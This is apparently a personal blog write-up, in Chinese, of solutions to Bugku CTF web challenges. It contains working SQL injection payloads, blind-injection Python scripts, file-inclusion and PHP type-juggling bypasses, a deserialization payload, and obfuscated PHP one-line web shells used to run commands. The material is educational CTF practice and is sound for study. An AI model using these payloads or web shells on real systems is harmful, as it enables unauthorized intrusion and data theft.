BlankのBlog

Bugku ctf wp

字数:1587 Topic:web Tag:2018-03

Bugku ctf wp —web

ctf链接 http://ctf.bugku.com/

  • web2

打开一片滑稽不停地向你飞来

直接f12 查看源代码得到flag

  • 文件上传测试

1、请上传PHP文件

2、文件上传大小不允许超过1M

上传php返回上传非图片文件,上传图片返回非PHP文件

burp suite抓包发现只验证了 Content-Type: application/octet-stream字段,只要更改为image/png即可绕过,得到flag

  • 计算器

输入答案发现只能输入一位数,f12更改maxlength值即可

  • web基础$GET

url后直接加?what=flag即可

  • web基础$POST

hack bar post一个what=flag即可

  • 矛盾

php弱类型 变量num只要是1开头的字符串就可以 用get方式发送得到flag

注:php弱类型不会可以点这里

  • web3

打开后不停弹窗,禁止使用javascript后查看源代码发现

KEY{J2sa42ahJK-HS11III}

unioncode解码得到flag

  • Sql注入

这道题折腾了一段时间,后来还是看到wp才知道宽字节注入 还是做的少了啊 sqliabs有时间还是要去做做

测试url:http://103.238.227.13:10083/?id=1%df%27 报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1運'' LIMIT 1' at line 1

#order by 1/2成功,3失败
http://103.238.227.13:10083/?id=1%df%27%20order%20by%203--+

#爆数据库
http://103.238.227.13:10083/?id=1%df%27%20%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata--+

#然后根据题目提示构造url得到flag
http://103.238.227.13:10083/?id=1%df%27union%20select%201,string%20from%20sql5.key%20where%20id%20=1--+

宽字节注入参考

  • Sql注入1

过滤了一些关键词,但是那一句过滤xss的语句可以帮助我们绕过

只要在关键词里添加<>分隔即可 不在赘述 直接放payload

http://103.238.227.13:10087/?id=1 unio<>n selec<>t 1,hash fr<>om sql3.key wh<>ere id=1 --+
  • 你必须让他停下来

burp suite抓包 查看响应包发现每次返回的图片不一样

任意构造一个数值放到intruder 多次访问 查看返回包的数据长度即可得到flag

  • 本地包含

打开网址,提示是文件包含漏洞,通过file使其以数组形式返回

然后利用var_dump输出 eval执行 构造url

http://120.24.86.145:8003/?hello=file(%22flag.php%22)
  • 变量1

跟i春秋上一道题相同 args=$GLOBALS即可

  • web5

查看源代码 把jsfuck代码放到控制台执行即可

  • 头等舱

查看源代码 什么也没有

burpsuite抓包 放到repeater里 响应头里既有flag

  • web4

查看源代码 url解码得到

var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1)   unescape('54aa2'   p2));
#一段javascript代码  看wp后才知道是拼接字符串p1+54aa2+p2 发送即可
  • flag在index里面

点击一下 chick me?no 跳转到

http://120.24.86.145:8005/post/index.php?file=show.php

看到传的参数是file=show.php file想到可能是文件包含 构造url

http://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php

可以得到base64编码的index.php内容 解码得到flag

附上php://filter在php漏洞中的利用

  • 输入密码查看flag

burp suite爆破 查看返回包长度得到flag

  • 点击一百万次

查看源代码

    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });

用hackbar POST一个参数clicks 让它大于1000000就行了

  • 备份是个好习惯

打开给了一串字符 不知道干嘛的 题目提示备份 url中添加index.php.bak得到index.php的源码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);把查询字符串解析到变量中:
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

#代码解析

$str = strstr($_SERVER['REQUEST_URI'], '?'); #获取url?之后的内容 包含?
$str = substr($str,1); #从第一位开始截取$str后面的内容
$str = str_replace('key','',$str); #把$str里面的'key'替换为''
parse_str($str); #parse_str把查询字符串解析到变量中

附parse_str例子

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
#输出为Bill和60

思路就是用get方式发送两个参数key1 和 key2 其中key1和key2的md5在 == 下比较相同 但值不同

在这里用到了php的弱类型 只要key1 和 key2以0e开头即可得到flag

附上一个网站:0e开头MD5值小结

  • 成绩单

没啥可说的 判断出闭合方式就行 附上payload

http://120.24.86.145:8002/chengjidan/index.php
postdata:id=-1'union select 1,group_concat(skctf_flag),3,4 from skctf_flag.fl4g--+
  • 秋名山司机

一看就知道要用脚本 这尼玛自己算不存在的

附上python脚本 一跑就出来了

import requests
import re

#由于每次给的数值不一样 所以要用session
s = requests.Session()
url = 'http://120.24.86.145:8002/qiumingshan/'
r = s.get(url)

rule = '<div>(.+?)\=\?;</div>'
res = re.findall(rule,r.content)

#python eval函数是真的强
data = {
	"value":eval(res[0])
}

r = s.post(url,data=data)
print r.content
  • 速度要快

查看源代码

<!-- OK ,now you have to post the margin what you find -->

f12 在相应头发现一个flag字段 值是一个base64加密的字符串 解码后给了flag 然而并不对

还发现每次给的flag值不相同 试了试发现每次给的flag还能在用base64解码一次 尝试把二次解码的数据发送 得到flag

附上脚本

import requests
import base64

s = requests.Session()
url = 'http://120.24.86.145:8002/web6/'

r = s.get(url)
a = base64.b64decode(r.headers['flag'])
print a 
b = a.split(': ')[1]
b = base64.b64decode(b)
data = {
	"margin":b
}
r = s.post(url,data=data)
print r.content
  • cookies欺骗

打开后一段乱七八糟的字符串 解密也解不开

然后发现urlfilename的值是一个base64加密的字符串 解密后得到keys.txt 访问keys.txt发现内容跟之前的是一样的 不过是截取了一部分

尝试得到index.php的源代码 将index.php base64加密后访问 通过改变file值来读取内容 获取内容脚本如下

#获取index.php
import requests

a = 1
f = open('index.php','w')
while a < 20:
	url = 'http://120.24.86.145:8002/web11/index.php?line='+ str(a) +'&filename=aW5kZXgucGhw'
	a = a+1
	r = requests.get(url)
	f.write(r.content)

f.close()

得到源代码

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 
if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

可以看到构造一个Cookie 字段和值均为margin 发送到keys.php即可得到flag

注keys.php需要base64加密

  • never give up

查看源代码 得到一个tip 1p.html

尝试访问但是却直接跳转到论坛主页 但是 但是 但是 在view-source:下查看源代码却没有跳转而是直接可以看到源代码

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

在源代码中 看到一个加密的超级长的字段 经过url-base64-url解密后得到一段php代码

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) 
{
	echo 'no no no no no no no';	
	return;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}

?>

id:id的值 == 0但是又不能为0 id=0a即可绕过

a:$data==“bugku is a nice plateform!” 可以用令a=php://input 然后postbugku is a nice plateform!即可绕过.

b:eregi函数遇到%00就会截断 所以令b=%00444444即可绕过

最终payload如下

 Img of Hugo website

  • welcome to bugkuctf

打开链接 查看源代码 得到注释的一些代码 如下

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

GET方式传递三个参数txt,file和password

首先 跟上一题一样 我们可以使用php://input的方式绕过file_get_contents()

构造测试

 Img of Hugo website

然后可以看到下面有一个include函数 文件包含 同样使用php的文件流得到hint.php base64后的源码

测试如图

 Img of Hugo website

解码后代码如下

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

php反序列化 (不要问我怎么知道的 我也不知道)

O:4:“Flag”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}

然后最终payload如下

 Img of Hugo website

base64解码后得到flag

<?php  
//flag{php_is_the_best_language}  1
?>

关于php反序列化有时间写一篇博客或笔记

  • 过狗一句话

tip给了一个一句话木马 刚开始没意识到这东西的重要性 = =

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

点开啥都没有 查看源代码 burp suite抓包都试过没用 然后想到最开始那个木马 尝试一下

 Img of Hugo website

真的可以 接着尝试system(‘ls’)查看目录 然而返回空白 可能是没权限

测试查询所有php文件

 Img of Hugo website

查看所有的txt文件

 Img of Hugo website

查看flag.txt文件内容 得到flag

 Img of Hugo website

  • 字符?正则?

正则匹配 慢慢绕

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
# 正则解析
# / 表示开始 匹配字符串key .*匹配任意字符0次或多次 匹配字符串key .{4,7}匹配任意字符4到7次 匹配key:
# \/ \表示转义 匹配/ 匹配任意字符 匹配/ 匹配任意字符一次或多次跟key组合起来 匹配一个字母 匹配一个符号 结束 大小写不敏感
# 例 key1key1234key:/1/1keya;
if( $IM ){ 
  die('key is: '.$key);
}
?> 
  • 前女友(SKCTF)

打开后 真是一个凄美的爱情故事 红红火火红红火火恍恍惚惚

查看源代码 发现链接两个字可以跳转 点击跳转 得到如下代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

v1 v2值不同 md5值相同 可以用上述0e开头的md5字符串绕过

strcmp函数漏洞 v3只要是一个数组就可以绕过

payload http://118.89.219.210:49162/?v1=s1885207154a&v2=s1836677006a&v3[]=1

  • login1(SKCTF)

sql约束攻击

注册界面用户名设为admin                                 1
密码只要符合要求就行
然后就可以使用自己设置的密码登陆admin账户了 登陆即可拿到flag

不懂SQL约束攻击可以点击这里!

看完就懂了

  • 你从哪里来

抓包 更改refer为谷歌网址就行了

  • md5 collision(NUPT_CTF)

我只能说这题很不友好 毫无提示 让我蒙出来了

本以为是md5(NUPT_CTF) 结果好像还是0e开头的字符串md5值比较

  • 各种绕过呦

shal漏洞 百度一下就有

payload 如下

 Img of Hugo website

  • web8

还是file_get_contents 使用php://input绕过得到flag

  • 细心

点进去一看就是个假的404 查看下robots.txt 发现一个resusl.php

访问后最下方有一行代码

各种尝试无果后想到了tip的admin 使x=admin即可

  • 这是一个神奇的登陆框(4-3更)

网址上的sql提示这是sql注入 既然是sql注入就开始测试万能密码 admin”or 1=1#登陆成功

只输入一个双引号测试时 报错如下

Try Again!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" and w_passwd=""' at line 1

可以看到是”闭合 然后就注呗

附上payload

1,2返回正常 1,2,3返回错误 说明有2列

1"union select 1,2#

爆数据库

1"union select 1,count(*) from information_schema.tables group by concat(database(),0x3a,floor(rand(0)*2))#

爆数据表

1"union select 1,count(*) from information_schema.tables group by concat((select concat(table_name) from information_schema.tables where table_schema='bugkusql1' limit 1),0x3a,floor(rand(0)*2))#

1"union select 1,count(*) from information_schema.tables group by concat((select concat(column_name) from information_schema.columns where table_schema='bugkusql1' and table_name='flag1' limit 1),0x3a,floor(rand(0)*2))#

爆数据

1"union select 1,count(*) from information_schema.tables group by concat((select flag1 from bugkusql1.flag1),0x3a,floor(rand(0)*2))#
  • 多次

发现url中有一个id值,然后修改id值发现是sql注入

测试’ 报错 加上注释 正确 单引号闭合

但是在测试and 1=1 时发现报错 猜想可能是过滤 然后anandd 1=1测试 返回正确

判断过滤了那些关键词

http://120.24.86.145:9004/1ndex.php?id=5%27 aandnd 0=length('and')--+

更改and发现还过滤了or union select

判断列数

http://120.24.86.145:9004/1ndex.php?id=5%27 oorrder by 2--+

直接放payload吧 一次一次的写累,,#后为返回内容

http://120.24.86.145:9004/1ndex.php?id=-5%27 uniounionn seleselectct 1,group_concat(schema_name) from infoorrmation_schema.schemata--+
#information_schema,web1002-1

http://120.24.86.145:9004/1ndex.php?id=-5%27 uniounionn seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1'--+
#flag1,hint

http://120.24.86.145:9004/1ndex.php?id=-5%27 uniounionn seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema='web1002-1' anandd table_name='flag1'--+
#flag1,address


http://120.24.86.145:9004/1ndex.php?id=-5%27 uniounionn seleselectct 1,group_concat(flag1) from `web1002-1`.flag1--+
#usOwycTju+FTUUzXosjr

http://120.24.86.145:9004/1ndex.php?id=-5%27 uniounionn seleselectct 1,group_concat(address) from `web1002-1`.flag1--+
# ./Once_More.php 下一关地址

然后又来到了另一个界面 嗯 继续注

id=1 id=1’ 报错发现是单引号闭合

and 1=1 order by 2 素质四连 开始联合查询

http://120.24.86.145:9004/Once_More.php?id=1%27union select 1,2%23
# My Id =1' select 1,2#

发现union被过滤了 尝试之前的方法也不行 索性看看他都过滤了啥 反正有回显

http://120.24.86.145:9004/Once_More.php?id=1%27union and or select from name mid substr left ascii sleep limit%23
# My Id =1' and or select from name mid left ascii limit#

过滤了union substr sleep三个词

呃呃 盲注?? 附上脚本

import requests

def length_schema():
    for x in range(1,20):
        url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20length(database())='+str(x)+'%23'
        s = requests.get(url)
        if "Hello" in s.text:
            print 'schema_length is :' + str(x)
            global a
            a = int(x)
            schema_name()
            break
        
def schema_name():
    x = 0
    name = ''
    while x < a:
        x = x + 1
        temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' 
        for i in temp:
            url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20mid(database(),'+ str(x) +',1)=%27'+str(i)+'%27%23'
            s = requests.get(url)
            if "Hello" in s.text:
                name = name + str(i)

    print 'sechma_name is :' + name
    global schema_name
    schema_name = name
    all()

def all():
    temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
    temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    for x in xrange(0,20):
        table_name = ''
        for y in xrange(1,20):
            key = 0
            for i in temp:
                url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27'+schema_name+'%27%20limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23'
                s = requests.get(url)
                if "Hello" in s.text:
                    key = 1
                    table_name = table_name + str(i)
            if key == 0:
                break
        if table_name == '':
            break
        print 'one of tables is:' + table_name
        for p in xrange(0,20):
            column_name = ''
            for q in xrange(1,20):
                key = 0
                for i in temp:
                    url_columns = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27'+schema_name+'%27%20and%20table_name=%27'+table_name+'%27limit%20'+str(p)+',1),'+str(q)+',1))=ascii(\''+str(i)+'\')%23'
                    s = requests.get(url_columns)
                    if "Hello" in s.text:
                        key = 1
                        column_name = column_name + str(i)
                if key ==0:
                    break
            if column_name == '':
                break
            print 'a column name of '+table_name+' is '+column_name
            for y in xrange(0,10):
                data = ''
                for z in xrange(1,20):
                    key = 0
                    for i in temp_data:
                        url_data = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20'+column_name+'%20from%20`'+schema_name+'`.'+table_name+'%20limit%20'+str(y)+',1),'+str(z)+',1))=ascii(\''+str(i)+'\')%23'
                        s = requests.get(url_data)
                        if "Hello" in s.text:
                            data = data + str(i)
                            key = 1
                    if key == 0:
                        break
                if data == '':
                    break
                print 'one data of '+schema_name+'.'+table_name+'\'s '+column_name+' is '+data


length_schema()

结果

schema_length is :9
sechma_name is :web1002-2
one of tables is:class
a column name of class is id
one data of web1002-2.class's id is 1
one data of web1002-2.class's id is 2
one data of web1002-2.class's id is 3
one data of web1002-2.class's id is 4
one data of web1002-2.class's id is 5
one data of web1002-2.class's id is 6
one data of web1002-2.class's id is 7
a column name of class is name
one data of web1002-2.class's name is TOM
one data of web1002-2.class's name is Jack
one data of web1002-2.class's name is Mack
one data of web1002-2.class's name is Jones
one data of web1002-2.class's name is James
one data of web1002-2.class's name is Fox
one data of web1002-2.class's name is Henry
one of tables is:flag2
a column name of flag2 is flag2
one data of web1002-2.flag2's flag2 is flag{Bugku-sql_6s-2
a column name of flag2 is address
one data of web1002-2.flag2's address is .
[Finished in 1620.8s]

ps:由于遍历数据的时候设定的值为20 所以 flag只遍历出了前20位 有兴趣的话可以自行修改自己动手测试一下代码

  • 文件包含2

点击去啥都没有,查看源代码,注释了一个upload.php,尝试访问

上传一个一句话木马,或者图片马,绕过就不讲了,主要说一下过滤了<?php?>,一句话木马可以这样写

<script language=php>@eval($_POST['a']);</script>

菜刀连接即可

  • flag.php

hint,,,,看了wp才知道传进去一个hint值即可得到源代码

<?php 
error_reporting(0); 
include_once("flag.php"); 
$cookie = $_COOKIE['ISecer']; 
if(isset($_GET['hint'])){ 
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 
.......
<?php 
} 
$KEY='ISecer:www.isecer.com'; 
?>

省略了中间的html部分,就是设置一个cookie name=ISecer 然后反序列化后等于$KEY

这里有点坑,,就是key值是在后面赋值的,也就是说,在比较的时候key为空,所以设置的cookie值为

Cookie: ISecer=s:0:"";
  • sql注入2

尝试各种注入都不行,,实在解不出来看了下wp

说是扫目录,用bbscan扫一下得到

http://120.24.86.145:8007/web2/.DS_Store

使用ds_store_exp解析得到flag

  • 报错注入
http://103.238.227.13:10088/?id=1%0aand%0aupdatexml(1,concat(0x7e,substr(load_file(0x2f7661722f746573742f6b65795f312e706870),89,31)),1)%23
http://103.238.227.13:10088/?id=1%0aand%0aupdatexml(1,concat(0x7e,substr(load_file(0x2f7661722f746573742f6b65795f312e706870),110,31)),1)%23
  • trim的日记本

本来以为是二次注入,,结果扫一下域名,访问show.php就出答案了

  • login2

抓包发现响应头里有一个tip

tip: JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9

解密后

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

然后payload

username=a' union select 1,md5(1)#'
password=1

构成的sql查询语句为

$sql="SELECT username,password FROM admin WHERE username='a' union select 1,md5(1)#'";

大概的原理就是前面的查询查不到就执行并返回了后面的查询,所以返回的username=1,password为md5(1)

后面的不会了,然后还没来得及接着看平台好像出问题了,login2,3,4都无法访问了 = =

  • login3

盲注,返回分别是

username does not exist!
和
password error!

脚本

#coding=utf-8

import requests

url = 'http://118.89.219.210:49167/index.php'
s =requests.Session()
pwd = ''

for i in xrange(1,33):
    for j in xrange(48,123):
        rule = "admin'^(ascii(mid((password)from("+str(i)+")))>"+str(j)+")#"
        data = {'username':rule,'password':"admin"}
        r = s.post(url,data=data)
        if "password error" in r.content:
            pwd += chr(j)
            print chr(j)
            break
print 'password:'+pwd

就是跑这个脚本的时候,平台出问题了,,不知道又没有关系



~~ 好了,这个web勉强也算是更完了~ ~~

千帆过尽,勿忘初心 UP